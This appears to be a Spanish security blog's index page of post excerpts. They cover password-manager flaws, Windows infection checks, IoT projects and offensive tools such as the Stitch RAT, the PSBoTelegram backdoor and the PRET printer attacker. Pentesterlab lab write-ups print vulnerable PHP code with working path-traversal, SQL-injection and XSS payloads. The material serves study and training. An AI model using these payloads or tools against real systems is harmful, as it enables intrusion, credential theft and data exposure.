Análisis de seguridad de los 'password managers' más populares para Android

Ya sabéis que reutilizar la misma contraseña en más de un sitio es totalmente desaconsejable, así como usar un pseudo-algoritmo para realizar variaciones de la misma que sea fácilmente adivinable. Ésto hace que hoy en día sea totalmente indispensable el uso de aplicaciones de administración de contraseñas ('password managers') que almacenen de forma segura nuestras múltiples contraseñas, normalmente accesibles mediante una contraseña maestra. Además, estos 'passwords managers' tienen que ser preferiblemente muy accesibles para poder consultar en cualquier momento cualquier contraseña por lo que, como podéis imaginar, en los últimos años han aflorado un montón de aplicaciones de este tipo para smarphones, sobretodo para Android.

Y al hilo de esto hoy os traemos un interesantísimo análisis de seguridad de los 'password managers' para Android más populares del momento realizado por TeamSIK (Security Is Key) – un grupo de gente interesada en la seguridad TI del Fraunhofer Institute for Secure Information Technology (Darmstadt, Alemania). 

Para el estudio han cogido las aplicaciones más descargadas del Google Play Store y los resultados generales fueron extremadamente preocupantes y revelaron que las aplicaciones de administración de contraseñas, a pesar de sus afirmaciones, no proporcionan suficientes mecanismos de protección para las contraseñas y credenciales almacenadas. En su lugar, abusan de la confianza de los usuarios y los exponen a riesgos elevados.

En definitiva encontraron varios fallos de implementación que derivaron en serias vulnerabilidades de seguridad. Algunas aplicaciones almacenaban la contraseña maestra en texto plano o implementaban claves de cifrado "hardcodeadas" en el código. En consecuencia, los atacantes podían fácilmente eludir el algoritmo de cifrado en conjunto y por lo tanto obtener acceso a todos los datos del usuario. 
En otros casos, podían simplemente acceder a todas las "contraseñas/credenciales protegidas de forma segura" con la ayuda de una aplicación adicional. Una vez instalada en el dispositivo, esta aplicación maliciosa extraía todas las contraseñas/credenciales en claro y las enviaba al atacante. En otro caso, podían usar un ataque denominado de residuo de datos para acceder a la clave maestra de una aplicación. 

En la mayoría de los casos, no se necesitaban permisos de root para realizar un ataque con exito que diera acceso a información sensible como la contraseña maestra mencionada anteriormente. Además, muchas de las aplicaciones ignoraban por completo el problema del "sniffer" del portapapeles, lo que significa que no hay limpieza del portapapeles después de que se hayan copiado las credenciales.

Hashview: un frontal web para cracking y análisis de contraseñas

Hashview es una herramienta para profesionales de seguridad que ayuda a organizar y automatizar las tareas repetitivas relacionadas con el crackeo de contraseñas. Básicamente podemos decir que Hashview es una aplicación web que gestiona los comandos hashcat (https://hashcat.net).  Como requisito necesitaremos un entorno RVM funcionando (https://rvm.io/rvm/install) y sus principales características son:
  • Crea tareas predefinidas de hashcat
  • Administra jobs (conjunto de tareas predefinidas)
  • Análisis e informes
  • Encolamiento de jobs (no más tiempo de inactividad o ciclos perdidos)
  • Actualización retroactiva de los hashes previamente no crackeados
  • Búsqueda de resultados por nombre de usuario, hash o contraseñas
Os dejo el video con la presentación que hicieron en la conferencia DerbyCon 6.0 de Kentucky:


Shootback: herramienta en python para realizar un túnel TCP inverso

Shootback es una herramienta escrita en Python para realizar un túnel TCP inverso y permitir el acceso hacia una máquina detrás de un NAT o firewall. Consume menos de 1% de CPU y 8MB de memoria con una concurrencia de 800 conexiones (sockets). El cliente (Slaver) es un único fichero que sólo tiene como dependencia la librería estándar de python(2.7/3.4+) . 

Cómo funciona  

Escenarios típicos 

 1 Acceder al equipo de una compañía/escuela (sin IP pública) desde casa
 2 Hacer un sitio/red públicos
 3 Facilitar la intrusión a una red privada
 4 Ayudar a los participantes de un CTF offline
 5 Conectarse a un dispositivo con una IP dinámica, como una ADSL doméstica

Recursos y herramientas para el descubrimiento de subdominios

Todos los frameworks y metodologías existentes para tests de intrusión contemplan en sus fases iniciales el reconocimiento, y dentro del reconocimiento es fundamental el descubrimiento de subdominios ya que puede ayudar a un atacante o auditor a identificar y enumerar distintos sitios web del objetivo, algunos incluso mal configurados y vulnerables. A continuación se listan una serie de recursos online y herramientas de gran valor que facilitan enormemente esta tarea.

RECURSOS ONLINE

1.- Censys (https://censys.io/)

Es probablemente uno de los primeros motores de búsqueda que buscan subdominios. Además te muestra otra información como puertos abiertos, detalles del certificado y SSL y resultados del Whois.

2.- Shodan (http://shodan.io/)

Shodan es una plataforma de spidering con una base de datos enorme dirigida fundamentalmente a profesionales de seguridad. Tiene datos históricos y actuales sobre una gran franja de servidores en Internet, incluyendo subdominios descubiertos, versionado de servidores y mucho más.


3.- Pentest-tools (https://pentest-tools.com/information-gathering/find-subdomains-of-domain)

Dentro de la categoría de 'Information Gathering', Pentest-tools tiene una herramienta de búsqueda de subdominios que utiliza distintos métodos como transferencias de zona DNS, enumeración DNS basada en listas y peticiones a distintos motores de búsqueda.

Latch your World! Usando Micro-Latch en el mundo real

Hace una semana, liberamos el código de Micro-Latch, con lo cual daba ya por zanjado el tema, pero tras recibir "unos cuantos correos" y a petición popular me he visto "forzado" a publicar esta entrada en la cual veremos posibles montajes de Micro-Latch en el mundo real.

Ya de paso y coincidiendo con la liberación de la versión dev de Micro-Latch os pido que os sintáis libres de mandarnos las ideas que se os ocurran, las cuales las añadiremos al brainstorming del proyecto en su WIKI correspondiente.

Bueno vamos a ver unas pocas ideas..

En primer lugar tenemos una simplísimo y divertidísimo montaje; una unidad portable para lachear lo que queramos en donde queramos, el esquema se autoexplica por si sólo. Consta del propio Esp8266 y su unidad programadora, y el montaje es ideal mientras estamos desarrollando nuestras app y también lo hace idóneo para probar a lachear todo.. con la user-version del sofware el pareado y despareado del dispositivo lo podemos hacer mediante nuestro smartphone y el frontend web del dispositivo.

[Pentesterlab write-up] Web For Pentester I - Path traversal, LFI & RFI

Seguimos con el lab 'Web For Pentester' de Pentesterlab, esta vez con los bloques de vulnerabilidades del tipo 'directory traversal' y 'file inclusion', por los que un atacante puede leer e incluso ejecutar código llamando a ficheros fuera del document root del servidor web (tanto en local como, en ocasiones, remoto) usando path relativos ("../") o completos, normalmente porque tampoco se filtra correctamente la entrada de datos del lado del cliente.

 

DIRECTORY TRAVERSAL

Como decimos la explotación de estas vulnerabilidades tiene como resultado el acceso a archivos que no deberían ser accesibles.

Al empezar con cada uno de estos ejercicios de dir o path traversal no tendréis el enlace directamente sino unas pequeñas imágenes/iconos, por lo que hay que leer el código fuente (o usar botón derecho y "copy image location") previamente.

Ejercicio 1

El primer enlace es http://pentesterlab/dirtrav/example1.php?file=hacker.png y si lo abrís con el navegador os mostrará el código html en lugar de la imagen, seguramente porque no se ha especificado el Content-Type.

SERVIDOR
<?php 

$UploadDir = '/var/www/files/'; 

if (!(isset($_GET['file'])))
    die();


$file = $_GET['file'];

$path = $UploadDir . $file;

if (!is_file($path))
    die();

header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Cache-Control: public');
header('Content-Disposition: inline; filename="' . basename($path) . '";');
header('Content-Transfer-Encoding: binary');
header('Content-Length: ' . filesize($path));

$handle = fopen($path, 'rb');

do {
$data = fread($handle, 8192);
if (strlen($data) == 0) {
break;
}
echo($data);
} while (true);

fclose($handle);
exit();


?>

Como veis en el código del servidor no se filtra $file = $_GET['file']; por lo que explotar esta vulnerabilidad es trivial, simplemente añadiendo "../" unas cuantas veces para llegar hasta la raíz y, a partir de ahí, indicar las rutas y ficheros comunes o predecibles a leer. Eso sí, hay que tener en cuenta que podrás acceder a los ficheros con los permisos asignados al usuario que corre el servidor web, por lo que normalmente no podrás acceder a ficheros como por ejemplo /etc/shadow.

PAYLOAD:
http://pentesterlab/dirtrav/example1.php?file=../../../../../../../../etc/passwd

Cómo comprobar si un equipo Windows está infectado rápidamente y sin herramientas adicionales

Recientemente leía una entrada de un instructor de SANS con amplia experiencia en respuesta ante incidentes que propone una breve lista de acciones para determinar rápidamente si un equipo Windows está infectado, sin necesidad de instalar un software de terceros, simplemente desde la linea de comandos. Obviamente y como dice su autor no es un método infalible pero si es verdad que ayudará a detectar muchas infecciones de una manera rápida y eficiente.

Elementos de inicio mediante WMIC

Windows incorpora una herramienta muy potente que seguro que conocéis: WMIC que, entre otras cosas, puede mostrar los elementos que se ejecutan al inicio para una posterior investigación. Sólo tienes que abrir la consola y escribir 'wmic startup list full'.

Como se muestra en el ejemplo es fácil identificar un programa que se ejecuta en el directorio Local\Temp, para luego subir el hash sospechoso a malwr.com o VirusTotal.


Caché DNS

Ahora si escribes 'ipconfig /displaydns' se mostrarán los dominios que se han resuelto recientemente. Si ves algo extraño es recomendable buscar el nombre de dominio y la IP en VirusTotal o similar para determinar si es malicioso.

Micro-Latch y el Internet de las cosas ¡liberado!

Bueno pues ya está disponible el código en dos sabores distintos: tenemos la versión para desarrollo y la versión de usuario.

Vamos a ver en que difieren y el por qué de estas dos versiones, veremos cómo instalarlas en nuestro ESP8266 y su funcionamiento.

Pero antes vamos a ver qué es y para qué puede servir Micro-latch pues, después de dos entradas, todavía recibo preguntas del tipo "para qué sirve".

¿Para qué nos puede servir Micro-Latch ?

Está claro; Micro-Latch es un cliente de LATCH montado en un módulo wifi (esp8266-01) el cuál consulta el estado de nuestra aplicación pareada y actúa en consecuencia en sus salidas gpio.

Ése seria el montaje mas simple, puesto con módulos mas avanzados de esp8266 tendríamos más posibilidades, como la de leer sensores e integrarlos en las opciones de LATCH...en fin no he querido complicarlo demasiado, pero podíamos implementarlo de muchas, muchas formas...

Vamos a ver para que podría servir esto...

Imaginad que tenéis un coche con conexión wifi  y sois algo paranoicos con el que os lo roben.. Micro Latch podría ayudaros.

Bastaría con instalar Micro-Latch en el coche de manera que pueda cortar el suministro eléctrico a la bomba de la gasolina con lo cual, si cerráramos el interruptor de muestra app en nuestro móvil, el coche no arrancaría, o se pararía si estuviese funcionando con lo cuál en caso de robo el caco lo tendría muy chungo.

Stitch: un RAT multiplataforma escrito en Python

Stitch es un RAT multiplataforma escrito en Python que permite crear payloads personalizados para Windows, Mac OSX y Linux. Su autor, Nathan Lopez, lo creó con la motivación de avanzar en su conocimiento de python, hacking y para ver lo que podía lograr. Y, aunque apunto estuvo de abandonar el proyecto al ver que previamente se adelantó Pupy (otro pero impresionante RAT multiplataforma escrito en Python) al final decidió publicarlo después de todo el camino recorrido.


Sus características son:

Genéricas

- Multiplataforma
- Autocompletado de comandos y archivos
- Detección de Antivirus
- Capacidad de apagar/encender la pantalla
- Ocultar y mostrar archivos y directorios
- Ver/editar el archivo hosts
- Ver todas las variables de entorno de sistema
- Keylogger con opciones para ver el estado, iniciar, detener y volcar los logs
- Ver la ubicación y otra información de la máquina de destino
- Ejecutar scripts de python personalizados que devuelven lo que se imprima a la pantalla
- Capturas de pantalla
- Detección de máquina virtual
- Descargar/subir archivos hacia/desde el sistema de destino
- Volcado de los hashes de las contraseñas del sistema
- Las propiedades de los payloads están "disimuladas" como otros programas conocidos

Específicas para Windows

- Muestra un cuadro de diálogo con el usuario/contraseña para engañar al usuario
- Vuelca la contraseñas guardadas en Chrome
- Permite borrar los registros del sistema, de seguridad y de la aplicación
- Habilitar/deshabilitar servicios como RDP, UAC y Windows Defender
- Editar las propiedades de archivos accesibles, creados y modificados
- Crear un cuadro emergente personalizado
- Ver la cámara web conectada y tomar instantáneas
- Ver las conexiones wifi conectadas y guardadas junto con sus contraseñas
- Ver información acerca de las unidades conectadas
- Ver el resumen de valores de registro como DEP

Commandline Challenge (bash) writeup

Hace poco leía una entrada en el blog de nuestros compañeros de Cyberhades acerca de Commandline Challenge, una plataforma con distintos retos que pondrá a prueba nuestra pericia a manos de una consola con bash. Además se trata de un proyecto de código abierto que podéis obterner en Github, donde incluso encontraréis intrucciones para crear los vuestros propios.

Si queréis empezar ya a "jugar" sólo téneis que visitar la URL https://cmdchallenge.com/ e intentar realizar cada uno de los ejercicios:


Como veréis se empieza desde lo más básico y luego el nivel de dificultad va in crescendo. Aquí os dejo el write up completo por si acaso os atascáis en alguno:

SOLUCIONARIO/WRITE-UP
 
Are you up for the command line challenge? Solve the tasks printed below in a single line of bash.

hello_world/

# Print "hello world".
# Hint: There are many ways to print text on
# the command line, one way is with the 'echo'
# command.

# Try it below and good luck!

bash(☠️)> echo "hello world"
hello world
# 👍 👍 👍  Correct!


current_working_directory/

# You have a new challenge!
Print the current working directory.

bash(0)> pwd
/var/challenges/current_working_directory
# 👍 👍 👍  Correct!

list_files/

# You have a new challenge!
# List names of all the files in the current
# directory, one file per line.

bash(0)> ls
README
# 👍 👍 👍  Correct!

Hackean varios bancos en Polonia infectándoles a través de un Organismo Financiero Gubernamental


Esta semana ha saltado a la primera plana internacional el que ya está considerado como el mayor incidente de Ciberseguridad en la historia de Polonia: varios bancos del país han sido víctimas de un Malware y la fuente de la infección fue la Autoridad de Supervisión Financiera de Polonia (KNF), organismo oficial encargado precisamente de garantizar la seguridad en el sector financiero.

Por el momento se desconoce el número total de bancos afectados aunque se teoriza sobre unas 20 entidades distintas y se ha reportado la infección tanto de estaciones de trabajo como de servidores en varias instituciones bancarias de Polonia. Solamente se ha confirmado la exfiltración de datos e información confidencial y se ha descartado el robo de dinero o manipulación de cuentas bancarias, aunque el tráfico detectado contenía gran cantidad de datos cifrados por lo que es imposible discernir de momento el contenido.

La información es a día de hoy escasa y difusa, ya que está siendo controlada con cuentagotas para mitigar el posible pánico que pudiera desencadenar entre usuarios y clientes. 

El detonante de la investigación fue la detección de tráfico inusual a localizaciones exóticas y el hallazgo de ciertos ejecutables cifrados en servidores de varias entidades, quienes al cotejar los resultados de sus análisis y las IOC dieron la voz de alarma.

Vía de Entrada

Las primeras investigaciones señalan que el punto de partida de la infección fue el servidor web del regulador financiero polaco antes mencionado, KNF: www.knf.gov.pl

Dicha web ha permanecido caída durante los últimos días y hoy durante toda la jornada únicamente ha sido accesible desde Polonia y ha estado bloqueando por geolocalización toda conexión externa.

Mensaje de error en la web del KNF
Bloqueo por geolocalización de la web del KNF: conexión desde fuera y dentro de Polonia
El artículo de BadCyber escrito por varios analistas que han tenido acceso privilegiado a la investigación relata que el código de una librería Javascript de dicho servidor habría sido alterado para cargar un fichero Javascript o JSP externo alojado en un servidor remoto, aunque se desconoce cómo se habría logrado en primera instancia dicha modificación inicial.

Micro-Latch y el Internet de las cosas (IoT)

Tras la breve introducción que os hice en el capitulo anterior  y como soy un poco Lannister (siempre pago mis deudas), hoy toca a hablar un poco mas de lo que me ha tenido ocupado estos días; que francamente lo he pasado muy bien jugueteando con Latch y Nodemcu.

¿Que es Micro-Latch ?

Micro-Latch es la conjunción de un harware barato (ESP8266), un firmware de código abierto (Nodemcu), y un pequeño plugin para esta plataforma.

¿Que se puede hacer con micro-latch?

"Latchearlo todo" de una manera sencilla , rápida y económica. Podemos latchear cualquier dispositivo que se nos pase por la cabeza... bien como vector de seguridad eXtra o telemando seguro.

¿Por qué de Micro-Latch? 

Micro-Latch nace por una necesidad personal del que os escribe. Tras trastear con Latch en su ámbito IoT y dado a que NO soy una persona con muchos recursos, me negaba a dejar parado mi Arduino o Raspberry para sólo mantener mis servicios Latch y busqué una alternativa más económica...

¿Alternativas a Micro-Latch?

Desde luego...y con el tiempo habrá muchas más como por ejemplo (y la conocí gracias a vosotros) Latch plugin for Mosquito.

Bueno hablemos de los protagonistas...

ESP8266-01

Elegí este modelo por que es muy fácil de encontrar y barato, vale 1,5€.
También porque es uno de los más modestos y quería ver hasta donde se podía exprimir... y al final a dado la cara con nota, aunque si le llego apretar algo más...

PSBoTelegram, "Meterpreteando" vía Telegram, 2ª parte

Como ya os conté hace unos días con la primera parte de "Meterpreteando" vía Telegram, la idea de poder controlar mediante Telegram un backdoor que hayamos generado a través de un bot (como expliqué en la anterior parte de esta pequeña serie de posts) es genial, ya que nos permitirá acceder al backdoor desde cualquier dispositivo compatible con Telegram.

No tenía pensado hacer ninguna parte más sobre este tema, pero hace unas semanas por el grupo de Telegram estuvieron hablando sobre este tema debido al post que hice. Durante la conversación  pregunté si alguien estaría dispuesto a colaborar en un pequeño proyecto con el objetivo de llevar a cabo esta idea, con bastante potencial, bien hecha, sin errores y demostrando lo que se puede hacer con ella; a lo que me contestó una persona que ha creado una herramienta de la que vengo hoy a hablar.

La persona que me contacto se llama Luis Vacas, ha tenido el gran detalle de crear una aplicación para toda la comunidad, razón por la cual le estamos muy agradecidos.

Esta herramienta se llama PSBoTelegram y desde hoy se encuentra disponible para todos vosotros en el GitHub de Hackplayers. PSBotTelegram es un script escrito en Powershell que nos crea una backdoor que se conecta a nuestro bot creado previamente y que nos dará la posibilidad de controlar el backdoor desde Telegram.

Su ejecución es sencilla, lo descargamos, nos dirigimos a la carpeta de la herramienta y ejecutamos .\PSBoTelegram.ps1.

    ____  _____ ____      ______     __
   / __ \/ ___// __ )____/_  __/__  / /__   ____ __________ _____ __
  / /_/ /\__ \/ __  / __ \/ / / _ \/ / _ \/ __  / ___/ __  / __  __ \
 / ____/___/ / /_/ / /_/ / / /  __/ /  __/ /_/ / /  / /_/ / / / / / /
/_/    /____/_____/\____/_/  \___/_/\___/\__, /_/   \__,_/_/ /_/ /_/
                                        /____/

                                                     v0.2 by CyberVaca @ Luis Vacas

[+] Introduzca el Token del Bot de Telegram:

[+] Introduzca su Chat ID:

[+] Introduzca el delay para la conexión:


Como podéis observar, simplemente hay que indicar tres parámetros, el primero es un token que obtenemos a la hora de crear el bot mediante @BotFather, el segundo parámetro es nuestra ID de Telegram, que podremos obtener dialogando con @userinfobot, y por último el delay que queramos tener entre el PC con el backdoor y nuestro chat de Telegram.

Esto nos generará un código que contendrá el shellcode en base64 personalizado con los parámetros que le hayamos dado anteriormente, el cual, se deberá ejecutar en la maquina víctima para que el backdoor se lleve a cabo.

Las funcionalidades de esta herramienta son las siguientes:
  • /Help   (Nos muestra la ayuda) 
  • /Info   (Devuelve información sobre el equipo) 
  • /Shell   (/Shell + CmdLet a ejecutar ) 
  • /Whoami   (Devuelve el usuario que ejecutó el codigo) 
  • /Ippublic   (Nos da IP publica, Pais y Ciudad del Target) 
  • /Kill   (Mata el backdoor) 
  • /Scriptimport   (Importa el script de powershell pasandole una url) 
  • /Shell nc (netcat)   (Función de powercat https://github.com/besimorhino/powercat ) 
  • /Download   (Download más ruta nos descarga el archivo) 
  • /Screenshot   (Realiza screenshot y nos lo envía) 
  
PD: ¿También has hecho tu propia herramienta y quieres compartirla? Ponemos a tu disposición nuestro repositorio Github y/o también podemos probarla y publicar una entrada. ¡Participa!

[Pentesterlab write-up] Web For Pentester I - SQLi

Continuamos con el laboratorio 'Web for pentester' de Pentesterlab, esta vez con el bloque de ejercicios de explotación de SQLi (inyecciones SQL), una oportunidad excelente para empezar a probar (y sobretodo entender) desde la base este tipo de vulnerabilidades.

Ni que decir tiene que la posibilidad de inyectar código SQL en una aplicación web tiene una criticidad máxima ya que cualquier dato de la base de datos puede quedar disponible para ser leído o modificado por un usuario malintencionado.


Ejercicio 1:

En el primer ejercicio al observar el código php del servidor veremos que no hay ningún tipo de validación de entrada sobre el parámetro $_GET["name"]:

SERVIDOR:
<?php

  require_once('../header.php');
  require_once('db.php');
    $sql = "SELECT * FROM users where name='";
    $sql .= $_GET["name"]."'";    
    $result = mysql_query($sql);
    if ($result) {
        ?>
        <table class='table table-striped'>
      <tr><th>id</th><th>name</th><th>age</th></tr>
        <?php
        while ($row = mysql_fetch_assoc($result)) {
            echo "<tr>";
                echo "<td>".$row['id']."</td>";
                echo "<td>".$row['name']."</td>";
                echo "<td>".$row['age']."</td>";
            echo "</tr>";
        }    
        echo "</table>";
    }
  require_once '../footer.php';
?>
Por lo tanto si inyectamos el siguiente payload:

PAYLOAD:
http://pentesterlab/sqli/example1.php?name=root' or 1=1-- -

la variable $sql será SELECT * FROM users where name='' or 1=1-- -' y el servidor nos devolverá todos los registros de la tabla de usuarios:

PRET, reventando impresoras al vuelo

Todos nosotros alguna vez hemos manipulado alguna impresora, ya sea para hacer copias, imprimir documentos, escanear... También, muchos tenemos una en casa de las que desde hace unos años se comenzaron a desarrollar sin la necesidad de ser conectadas físicamente a nuestro ordenador. Poco después, se introdujo en ellas la funcionalidad de la conexión vía WiFi con la que podemos imprimir documentos inalambricamente, con la única condición de que tanto la impresora como el ordenador desde el que queremos enviar el documento, estén conectados a la misma red.

Con estos avances a algunas personas (trolls) se les encendió la bombilla y, utilizando el sentido común, pensaron que estando en la misma red que una impresora, podrían imprimir cualquier documento sin el permiso del propietario para, como no, trollear y reírse un rato.

Con el paso del tiempo, para evitar lo mencionado anteriormente, se han ido implementando algunas medidas de seguridad en algunos dispositivos, como por ejemplo contraseñas que se usan para vincular dispositivos para que solo ellos puedan realizar acciones sobre dicha impresora.

Pero como todos los que leemos este blog sabemos, la seguridad es algo "ilusorio".

Y sí, esta vez le ha tocado la china a las impresoras. Hace una semana, unos estudiantes de la universidad de Ruhr University Bochum presentaron su tesis en la cual, desarrollaron una herramienta que han liberado hace pocos días en Github, hablo de PRET, una herramienta desarrollada para probar las seguridad de las impresoras.

Esta herramienta se puede conectar a la impresora vía USB o vía WiFi y se encarga de explotar el lenguaje con el que fue desarrollada la impresora objetivo. Actualmente ataca a los lenguajes PostScript, PJL y PCL, los cuales se encuentran en la mayoría de impresoras láser.

Esta herramienta nos permitirá hacer cosas como: capturar documentos, modificarlos, acceder a la memoria de la impresora o incluso dañar la impresora físicamente. Esta tool ha sido programada en Python, que será un requisito imprescindible para su uso e instalación, más concretamente, deberemos tener instalado el interprete Python2.

Cómo instalar esta herramienta:
  1. Deberemos descargar la herramienta de Github: https://github.com/RUB-NDS/PRET.
  2. En la terminal ejecutaremos: pip install colorama pysnmp.
  3. Posteriormente ejecutamos: pip install win_unicode_console.
  4. Y por último: apt-get install imagemagick ghostscript.
  5. Para ejecutarlo únicamente tendremos que escribir ./pret.py  y nos mostrará los siguientes parámetros.
pret.py [-h] [-s] [-q] [-d] [-i file] [-o file] target {ps,pjl,pcl}


positional arguments:
  target                printer device or hostname
  {ps,pjl,pcl}          printing language to abuse

optional arguments:
  -h, --help            show this help message and exit
  -s, --safe            verify if language is supported
  -q, --quiet           suppress warnings and chit-chat
  -d, --debug           enter debug mode (show traffic)
  -i file, --load file  load and run commands from file
  -o file, --log file   log raw data sent to the target

Los creadores de esta herramienta también nos muestran los comandos que podremos ejecutar en base al lenguaje de la impresora que estemos atacando. Serían los siguientes:

┌───────────┬─────┬─────┬─────┬────────────────────────────────────────┐
│ Command   │ PS  │ PJL │ PCL │ Description                            │
├───────────┼─────┼─────┼─────┼────────────────────────────────────────┤
│ ls        │  ✓  │  ✓  │  ✓  │ List contents of remote directory.    │
│ get       │  ✓  │  ✓  │  ✓  │ Receive file: get <file>              │
│ put       │  ✓  │  ✓  │  ✓  │ Send file: put <local file>           │
│ append    │  ✓  │  ✓  │     │ Append to file: append <file> <str>    │ 
│ delete    │  ✓  │  ✓  │  ✓  │ Delete remote file: delete <file>      │
│ rename    │  ✓  │     │     │ Rename remote file: rename <old> <new> │
│ find      │  ✓  │  ✓  │     │ Recursively list directory contents.   │
│ mirror    │  ✓  │  ✓  │     │ Mirror remote filesystem to local dir. │
│ cat       │  ✓  │  ✓  │  ✓  │ Output remote file to stdout.          │
│ edit      │  ✓  │  ✓  │  ✓  │ Edit remote files with vim.            │
│ touch     │  ✓  │  ✓  │     │ Update file timestamps: touch <file>   │
│ mkdir     │  ✓  │  ✓  │     │ Create remote directory: mkdir <path>  │
├───────────┼─────┼─────┼─────┼────────────────────────────────────────┤
│ cd        │  ✓  │  ✓  │     │ Change remote working directory.       │
│ pwd       │  ✓  │  ✓  │     │ Show working directory on device.      │
│ chvol     │  ✓  │  ✓  │     │ Change remote volume: chvol <volume>   │
│ traversal │  ✓  │  ✓  │     │ Set path traversal: traversal <path>   │
├───────────┼─────┼─────┼─────┼────────────────────────────────────────┤
│ format    │  ✓  │  ✓  │     │ Initialize printer's file system.      │
│ fuzz      │  ✓  │  ✓  │     │ File system fuzzing: fuzz <category>   │
├─ ─ ─ ─ ─ ─┴─ ─ ─┴─ ─ ─┴─ ─ ─┴─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ┤
│   path   - Explore fs structure with path traversal strategies.      │
│   write  - First put/append file, then check for its existence.      │
│   blind  - Read-only tests for existing files like /etc/passwd.      │
├───────────┬─────┬─────┬─────┬────────────────────────────────────────┤
│ df        │  ✓  │  ✓  │     │ Show volume information.              │
│ free      │  ✓  │  ✓  │  ✓  │ Show available memory.                │
└───────────┴─────┴─────┴─────┴────────────────────────────────────────┘  

Y con ésto, una vez más queda demostrada la inseguridad de los IoT...

Por último comentaros también que esta herramienta ha sido creada para un proposito educativo, no ha sido diseñado para crear ningún tipo de daño... qué os veo!

[Pentesterlab write-up] Web For Pentester I - XSS

Una de las opciones para empezar a prepararse el OSCP o simplemente para mejorar los skills de pentesting es hacer los laboratorios de PentesterLab. Actualmente tiene disponible 20 ejercicios gratuitos con cursos e ISOS descargables para instalar las máquinas virtuales y montarte rápidamente tu lab. Además por apenas 20$ al mes tienes el acceso PRO con el que puedes descargarte el material (pdf/ePub), vídeos y tienes acceso a 19 ejercicios más con algunos labs online.

La idea es hacerlos todos, del primero al último, e ir publicando los solucionarios o write-ups de cada uno. No obstante mi recomendación es que primero intentéis solucionar cada ejercicio por vuestra cuenta, porque es la mejor manera de aprender y preparaos para poder desenvolveros solos en un entorno real o en un examen. Ya después si queréis podéis echar un vistazo al post correspondiente para ver si más o menos habéis seguido el mismo camino o no, porque imagino que muchas veces habrá más de una manera de hacer las cosas.

De cualquier forma, está muy bien tenerlos de repositorio porque cada ejercicio es tremendamente académico y seguramente iremos descubriendo nuevas vulnerabilidades y/o formas de explotar un sistema, así que ¡vamos a ello!

Primero empezaremos con los ejercicios con el nivel de dificultad más bajo, aunque más adelante es posible que demos un salto puntual y hagamos alguno más difícil antes para completar un badge (categorías en las que se clasifican algunos ejercicios por temática).

En primer lugar haremos el ejercicio 'Web for Pentester' que realmente es un compendio de las vulnerabilidades web más comunes y, si bien es para principiantes, como decíamos queremos completar todos los ejercicios y se trata de una buena base. Así que simplemente descargamos la ISO, lo arrancamos mediante una nueva VM y accedemos por el navegador al índex para empezar:


Como veis en la imagen he seleccionado con un recuadro los ejemplos de XSS, pues el lab es tan extenso que vamos a dividir este primer ejercicio en varias entradas.

En esta primera entrada sobre vulnerabilidades Cross-Site Scripting o XSS iremos avanzando por cada uno de los ejemplos y mostrando como se ve la parte del cliente antes y después de inyectar el payload válido, así como el código PHP integro del servidor para que sea lo más educativo posible.

Ejercicio 1:

En el primer ejercicio podemos inyectar cualquier código javascript para comprobar que no es validado y devuelto en la respuesta:

PAYLOAD:
http://pentesterlab/xss/example1.php?name=hacker<script>alert('Hackplayers')</script>

CLIENTE:
...
Hello 
hacker<script>alert('Hackplayers')</script>
      <footer>
        <p>&copy; PentesterLab 2013</p>
      </footer>
...

SERVIDOR:
<?php require_once '../header.php'; ?>
<html>
Hello 
<?php 
    echo $_GET["name"];
?>

<?php require_once '../footer.php'; ?>